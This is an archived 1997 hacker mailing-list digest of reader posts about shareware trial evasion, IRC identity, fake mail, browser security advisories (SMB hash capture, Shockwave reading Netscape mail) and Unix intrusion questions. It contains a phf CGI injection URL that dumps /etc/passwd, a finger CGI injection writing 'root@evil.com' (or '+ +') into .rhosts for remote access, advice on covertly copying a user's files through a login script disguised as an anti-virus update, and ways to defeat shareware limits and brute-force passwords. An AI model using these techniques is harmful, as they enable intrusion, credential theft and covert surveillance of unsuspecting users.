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Happy Hacker Digest March 16-17, 1997
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URL 'O the Day:


o Circumventing Shareware Nags and Limitations
o Should the sysadmin know?
o Learning Linux
o Port 25
o Internet Explorer Exploits
o New Netscape and Shockwave Bug
o Windows 95 and Windows NT Hacking
o *nix Miscellany
o Correction

   Circumventing Shareware Nags and Limitations

From: Trey Schultz <stwaldo@teleport.com>

Easy Out:
Set your system clock(s) to Jan. 4, 2020.  Install shareware.
Reset clock(s) to current date.  Viola, you have 20+ years to
evaluate, you cheater, you! :)

Hard Out:
Open regedit. Take a look around, find where app info is stored
(there are several places, keep track of them all).  Install
shareware.  Look for this new prog's reg entries. Look for install
dates.  Change 'em.  Viola, you know how to use the registry, you
cheater, you! :)

Elite Out:
Hack the fat, 16 and 32 bit.  Write a utility to "freeze" the
current installation of WinHoze.  Use it. Install shareware.
If it gives you any flak down the road, "unfreeze" WinBlowz,
reinstall shareware.

All three have been tried and succeeded for me.

|    Saint Waldo I.P./E.    |  "Some folk'll never eat a skunk     |
|   stwaldo@teleport.COM    |   And then again some folk'll...     |
| www.teleport.com/~stwaldo |   Like Cletus t' Slack-jawed Yokel!" |


From: Curtis Horton <curtis.horton@snet.net>

> When I am on mIRC once in a while I notice that I get this on my
> server status window: *** Identd request from ***
> Identd replied: 1145, 25 : USERID : UNIX : fifo ..is it that the
> system wants 2 kno whu I am?.. what duz 1145, 25 mean?.. thanks

This is kinda how things work..when you log onto an IRC server (a good
one)they use Identd to check who you are. This is done, so if someone
has a Netcom account, they can't fake their user name and get auto-ops
on channels where bots are setup to auto up Netcom people.. I think
how Identd works is that the questioning host sends it first to you,
then to your ISP. Whoever made mIRC put in this little Identd program
that scans for and Identd requests to you, and sends back whatever you
have put in. This more or less lets you fake the first part of your
user name. You can do this in fake mail to make it look like the mail
came from you.are.lame@isp.net, but there is something added to the
end of people's domain when they dial up that lets DNS servers get the
IP. This isn't totally anonymusly, they ppl can just trace you through
your IP.


From: "Crazy J" <crazyj@earthlink.net>

>Hey list. I was sitting in IRC when some idiot came into the
>channel swearing and so-on so I kicked him out.  When i tried to
>get online later that night i couldn't, after calling my ISP i
>discovered that this guy has hacked into some server under MY
>username.  How did he do this and how can i prevent him from
>getting ANY info from me in IRC.  You guys gotta be careful, my
>ISP killed my account and i'm now trying to explain myself to
>them.  I was one of the two people who got hacked and i wanna
>know how to stop em!

Hey All, First off as the others said if your not using identd you our
adevertising your user name on IRC. Second for most of the bigger
service providers and most of the smaller ones as well. If you take
the last two parts of the site when you do a whois on someone and
stick it in your webrowser preceded by www you will go to there
service providers home page. Which no doubt will give you dial up
numbers and everything else under the sun. Example you do a whois on
whoever and you get whoever@ppp15.mulbery.com type
http://www.mulbery.com/ in your web browser and you got the
information on their service provider, numbers for their pops, e.t.c.
Another note on this is that many of the ISP's set their customers
home directorys to /~whoever/ so If you want more info you can always
type in that url and see if a home page comes up. The next point is
even if you where using Identd to hide your real user name on IRC if
you have ever advertised your e-mail address on channel or since you
stated you where an op, if your e-mail address is in a channel faq,
your giving your user name to them. For most ISPs use your user name
in the e-mail address ie whoever@mulbery.com. With the e-mail address
you got the user name from the first half and can get pertitnent info
on the ISP from the second with the browser trick.Thus they got dial
up numbers, and your user name, so 50% of the work is done for them,
all they need to do is brute force your password with any of the
available programs on the web. One last point before I go, is that if
a person has an account on the same ISP as you do they can call the
same pop as you do and through the use of identd and become you site
and all as far as IRC is concerned, you can learn more on that at my
site http://www.win.net/~cjc/fear/fear.html.

 Crazy J

             Should the sysadmin know?

From: "Aileron" <aileron@aileron.com>

Hi all,
  While port-surfing on a local ISP, I discovered that they were
using an older version of Sendmail which has a potentially serious
bug (The 7/8bit MIME thing in Sendmail 8.8.4). What's the best thing
to do now? Kindly inform them that "Hey, I was snooping on your
system and I could've broken into it..." or just leave it be?

ColeSlaw Creative Internet

          Learning Linux

From: Nils Janson <Nils.Janson@munich.netsurf.de>

Although this has nothing to do with hacking (well, it does, in a way)
I'm having trouble setting up my isdn card (Teles 16.3) with
isdn4linux.  And PPP, for that matter.  For some reason, everytime
that I try to insmod the bloody thing, or any other networking module,
it says something to the effect of: Characters do not match those in
(some file involving the kernal, like /usr/src/linux-2.0-18/<foo>).
This means that I can't load Mr. ISDN or PPP module and I need to use
my Win 95 box on the net.  Thanks, thanks, and more thanks.

Nils Janson
(Cows rule forever)

        Hacking Port 25

From: Redington <nemesis@minot.com>

Whenever I try to send fake mail by port 25 I get as far as typing my
message and I can't get it to stop and send it.  It says to end with a
"." on a line by itself.  Whenever I try to do this it doesn't work.
BTW the Unix server runs AIX 4.2 if that matters. Anticipated thanks.


[moderator: It needs a carriage return, then the period '.', then
another carriage return.]

         Internet Explorer Exploits

From: Aaron Spangler <pokee@MAXWELL.EE.WASHINGTON.EDU>

Included below is IE Bug#4 I would like to post.
It can be found at:


Internet Explorer Exploit #4

The exploit works for both Netscape Navigator 3.01 and Microsoft
Internet Explorer 3.01 with Security Patches. (earlier versions should
work as well, but have not yet been tested).
Look below to see how it works.

****How it Works******

Web page that points to a Rogue SMB Server

This web pages contains an embedded image (actually two).  The
embedded images do not reside in this same directory as this web page.
In fact, they reside on a SMB Lanman server (as opposed to an HTTP
server). (View the source for this html to get a better idea what I am
talking about). I borrowed this idea from the
<A href=http://dec.dorm.umd.edu/>Last MS Internet Explorer Security

The modified SMB Server

In order for the client to download the images, the client needs to
'logon' to the Lanman server.  Windows NT seems to do this without
even asking the user for confirmation.  Windows NT simply forwards the
username and encrypted version of the user's password to the Lanman
server. The Lanman server code has been modified slightly to record
Usernames and "Hashed Passwords" of the victims.  Also the code has
been modified to supply the client with a <b>fixed</b> "Challenge seed
value" for password encryption. (Thus making it even easier to decode
the client passwords in the future.) See <a
href=nt_pw_dict_attack.txt>NT Password Dictionary Attack</a> for where
I got the Lanman server idea.

What's the big deal?

First of all, no remote web site should be able to record your
username. If they do, then can compile junk email lists and sell your
name. Secondly, if they have information on what your password might
be, and they know what site you came from, they can gain access to
your computer or local account.  (Thus compromising your security with
you never knowing about it.) It is fairly easy to unencrypt a MS
password if the challenge has set to zero via dictionary attacks.
Sequential search brute force attacks work as well if you can guess
what types of characters are most common in the password.  Yes, it is
time consuming, but if your account gets hacked, is it really worth

It is interesting to note that in theory someone could setup a Lanman
server that make a simultaneous connection back to the client as a
connection comes in.  By simply relaying the same challenge and
password back to the client, the remote server could gain network
access to the vulnerable client.

<h4> Did you really get my username & hashed password? </h4>
Take a look at the <a href=passout.txt>log so far.</a> Remember these
passwords are easier to unencrypt because the challenge response is
set to
all zeros!

IE BUG #4, by <a href=/staff/spangler.html>Aaron Spangler</a>

Aaron Spangler                 EE Unix System Administrator
Electrical Engineering FT-10        pokee@ee.washington.edu
University of Washington            Phone    (206) 543-8984
Box 352500                             or    (206) 543-2523
Seattle, WA 98195-2500              Fax      (206) 543-3842

[moderator: This message was originally posted to the Bugtraq mailing
list, moderated by Aleph One. To subscibe to Bugtraq, Write to
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 New Netscape / Shockwave Bug

From: ntsecurity@THEPENTAGON.COM

A new security hole was found in Netscape browsers, and possibly
affects IE users as well. Shockwave lets a person read a user's email,
and forward it out to places on the net at will - and according to one
person, it looks like Java may allow this same thing to happen as

I've mirrored the original page here due to traffic loads over there:
and the original post is here: http://www.webcomics.com/shockwave


(To subscribe to the NT Security list, email Majordomo@iss.net with
the following command in the body of your email message:
    subscribe ntsecurity <your email address>)


From: Aleph One <aleph1@DFW.NET>


                           SHOCKWAVE SECURITY ALERT

   AKA :: How to use Shockwave to read people's Netscape email!

   10-Mar-97 --- reported by: David de Vitry

   What is this about?

       This is about a security hole in Shockwave that allows
       webpage developers to create a Shockwave movie that will read
       through a user's emails, and potentially upload them to a
       All without the user knowing about it. In addition, there is a
       risk to internal Web servers behind corporate firewalls,
       regardless of the browser you use (Netscape or Internet
       as long as you have the current release of Shockwave.

   Who could be affected?

       Users of Netscape 3.0 (and 2.0?) on Win 95 / NT/ Mac with
       Shockwave installed.  In addition, the user must not have
       to "Communicator", (this just changes the directory structure)
       must use the Netscape browser to read their email. There may be
       other browsers / platfroms affected by similar insecurities

   How is this done?

       A developer can use Shockwave to access the user's Netscape
       folders. This is done assuming the name and path to the mailbox
       the users hard drive. For example names such as: Inbox, Outbox,
       Sent and Trash are all default names for mail folders. The
       path to the "Inbox" on Win 95/NT would be: "C:/Program
       Files/Netscape/Navigator/Mail/Inbox". Then the developer can
       the Shockwave command "GETNETTEXT" to call Navigator to query
       email folder for an email message. The results of this call can
       then be feed into a variable, and later processed and sent to a
       server. To access a message, for example, the first message in
       users Inbox, would be called using the following location:

       For Windows: mailbox:C:/Program

       For MacOS (thanks Jeremy Traub)


       Note: if these links all give you an error (such as folder no
       longer exists), then you might not have anything to worry
       However, if you see an email message in a pop up window, and
       have Shockwave installed, then you are vulnerable to this

   Show Me an example! Here it is, a Shockwave movie that will read
   email. This will not work for everyone, it is currently only setup
   work with Win95 / NT, but it could be extended to identify the
   (Jeremy Traub).

   Interesting, but what is the security hole?

       It doesn't stop at just the first messages of your inbox.
       A shockwave program could increment through a users entire
       outbox, sent, and trash email folder. This information could
       be sent back to a server (using a the GET method with a simple
       program. i.e.

       here), all with out the user ever noticing. Here are just a few
       types of information that a malicious developer could obtain
       this hole:
          + Your name and email
          + Your friends names and emails
          + User id's and passwords sent to you in email, and where
            how to use them.
          + Personal email messages that you sent or received using

       The "GETNETTEXT" command also has other problems in that it can
       access other http servers, including ones that are not on the
       internet, ie, ones that are behind a corporate firewall. That
       if the movie is run from behind the firewall. This may be even
       bigger problem then the email one, however it affects only
       corporate users.

   Help: What can I do to protect myself?

       There are a number of things that you could do to protect
       from malicious shockwave movies:
          + Change the path to your mail folders
          + Don't use Netscape to read or send email
          + DeInstall Shockwave
          + Don't go to potentially hostile sites.

   What are people saying? -- please inform me of any other articles.
     * Wired article
     * Macromedia and Netscape have given me no official statements.
       However, they are both in communication with me regarding this
       issue. Macromedia did say that their newest product "Shockwave
       currently in pre-release, does fix this problem.
     * Microsoft did not want to talk with me about the issue, even
       though there are risks to their users. They just blew me off
       saying "There are obviously plenty of security bugs to go
       Followed by, "Great, we're checking it out now."

       Windows 95 and Windows NT Hacking

From: david@cathouse.com

>I am a Network tech and recently the VP of IS comes to me and
>says that he wants to know what is on a certain workstation's
>hard disk.
>Here's the Setup:
>The workstation is 45 miles from my location.  It is a DOS/Windows
>Netware client running IPX only.  He logs onto a Netware server at
>his location which is connected to my main ring.  So I have access to
>his server even his machine via IPX.
>How can I get a directory listing?  Is there an NLM out there that I
>can run on his server that would allow me to view his hard disk

If you have access to syscon from your location, it's REAL easy.
Edit the user's login script and add whatever dos commands you want,
just be
sure to echo them to nowhere :-)

dir /s >f:\joefiles.txt
(or whatever drive that's mapped to the server where you can get it

Thing I usually do in that situation is put a screen up for the user

Please wait, updating anti-virus files...

That way they don't think anything of the wait....
Then you can go back later and copy the files you want.  Works best if
you make a special subdirectory for "loot".

You need to do a call from the users login script to a batch file in
order to do the commands....


From: Jay Clements <jayc@mail.org>

>I am a Network tech and recently the VP of IS comes to me and
>says that he wants to know what is on a certain workstation's
>hard disk.
>Here's the Setup:
>The workstation is 45 miles from my location.  It is a DOS/Windows
>Netware client running IPX only.  He logs onto a Netware server at
>his location which is connected to my main ring.  So I have access to
>his server even his machine via IPX.
>How can I get a directory listing?  Is there an NLM out there that I
>can run on his server that would allow me to view his hard disk

I've never heard of an NLM that would do this. Netware is server
centric...not peer to peer. But there is a way to do this Managewise.
This application will allow you to 'catalog' a workstations hard disk.
Very handy utility. Managewise is the only thing I've heard of that
will do what you are looking for.

--Jason Clements
--Certified Novell Administrator
--email: jayC@compusmart.ab.ca
--home page http://www.ualberta.ca/~mrau/bauhaus/bauhaus.htm

              *nix Miscellany

From: yeo@poi.net

 I wanted to ask you a question on passwd files. why is it that
sometimes passwd files have the users login and passwords encryped on
it and the others on it just show the shadowed 'x' mark on it and
sometimes the root password is on but not some of the other logins and
they just have the shadowed marked 'x' ? I also wanted to know how
people get caught password sniffing, please explain.
 A friend of mine told me that people couldn't get root access
on a system by telnet (which would be dumb) or dialup, only if you
were physically at the sysadmin's computer. Is this true ?

Nikola Tesla

[moderator: Your friend was mistaken. You can gain root access
remotely as well.]

From: [anonymous]

Make me anonymous, please.

Anon skrev:
>  I was actually kind of surprised when I got OD phreak's long command
> (http://,,,.,,,.,,,/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd) from a
> previous guide to work. If you haven't tried it yet, try it out now.
> I got the password file, but it was shadowed. Can I edit this to
> get the shadowed file or any other valuable files?

Perhaps if phf has the right privilegies.

> One last thing: If you telnet to prez.cn.camriv.bc.ca, you can login as
> lynx and get a free (legal) lynx browser account (it's just like logging
> on as a guest). Are this means that any site you go to doesn't know who
> you really are. What kind of things would this account be good for?

It wasn't a very safe installation, one can easily edit the
configuration file, and then, you can probably use an editor or other
program which allows you to shell out. You can also peek around the
entire system. Or you could just use it for web browsing if you
haven't got access to a web browser.

> I was wondering about the following. Is it possible for someone to remotely
> create a .rhosts file in a users directory in a remote server. The command
> appended to /cgi-bin/ would look something like the following...
> http://targethost.com/cgi-bin/finger?user; \echo root@evil.com >
> /usr/user/.rhosts

An even better solution, which would not give you away as easily,
would be to echo + + (wildcards in rhosts), so everyone could gain
remote access.

> Is this possible? If not are there any other ways remote users could
> exploit a vulnerable cgi server to allow remote access?

There are many ways.

> I would like to know, what other methods besides finding the passwd file
> and or shadow  file there are in getting into an ISP.  For knowledge's sake
> of course.  If you finally do get the passwd file and it has *'s then you
> got to find the shadow, if you do and it is ROOT readable only, then what?
> Does that mean your out of luck?  Flame on....

You could use vulnerabilities in finger, sendmail, cgi-scripts, and
any other service you have access to.
You could try to compile an unshadow program on the computer, if you
have shell access or can upload and execute commands.

> From: Engineering Practice Pty Ltd <cdep@jimi.vianet.net.au>
> I was just wondering can you download stuff from your shell account to
> your home  pc(i.e. mail )?  I looked at the help files but couldn't find
> anything that would help
>  thanks
> Moderator: Use a file transfer protocol (FTP) program. There are many really
> good ones free for the download on the Web, and one is included in the Win
> 95 operating system. On some systems kermit downloads will work, too.

If you telnet into the server, yes. You could sz (send ZModem), or sx
(Go figure), if you are connected through modem, or are using a telnet
client which can handle ZModem/XModem.

> Sender: wolak@wolak.com
> There is a clever way to find someone's IP address. It uses a Java
> (great language) applet. The applet is allowed to look at only a few
> things about a host machine, and one of them is the host's IP. Also,
> applets are allowed to open up sockets to the server they came from.
> So, it's possible to write one that reads the host_IP and sends it back
> to a program on the server that records it. The same could be done with
> an application on his computed that does the same thing.

Why not just look into your httpd logs?


From: [anonymous]

I have a question about finger. you said in Vol. 1 number 3 that the
finger port is 79 but i keep getting a "host not responding" error on
many internet hosts, why ? Also I tried to finger a person on another
host like something@something.com and it told me "tcp/finger unknown
service when I'm still able to finger another person on my server, uh
why ? thanks


please keep me anonymous/

[Carolyn: many computers have disabled the finger port.]


From: k1neTiK <samk5@idt.net>

In that digest, you posted a message which supposedly was from me
about REG files.  Now I don't know if it was faked, or it was just a
mistake, but since it was a rather sophisticated post I think the real
autor should get credit, so whoever really wrote that piece, please
step forward!

>From: k1neTiK <samk5@IDT.NET>
>Below is cut/paste of a .REG file that will turn off a large majority (at
>>least the important ones) of the policies can be invoked on a workstation
>running Windows95.  I wanted to send this out so all those people who are at
>work, and have had their administrator invoke policies on them they don't
>want. It took me a while to find all this stuff in the registry, but here it
>is(but first a few notes)
this is how the message started.

            |//// http://www.geocities.com/TimesSquare/Arcade/4594///|
            |//E-mail: samk5@mail.idt.net ///////////////////////////|
            |//IRC: usually on irc.stealth.net from around 5:30p.m.//|
            |///(under the handle k1neTiK,duh!)//////////////////////|

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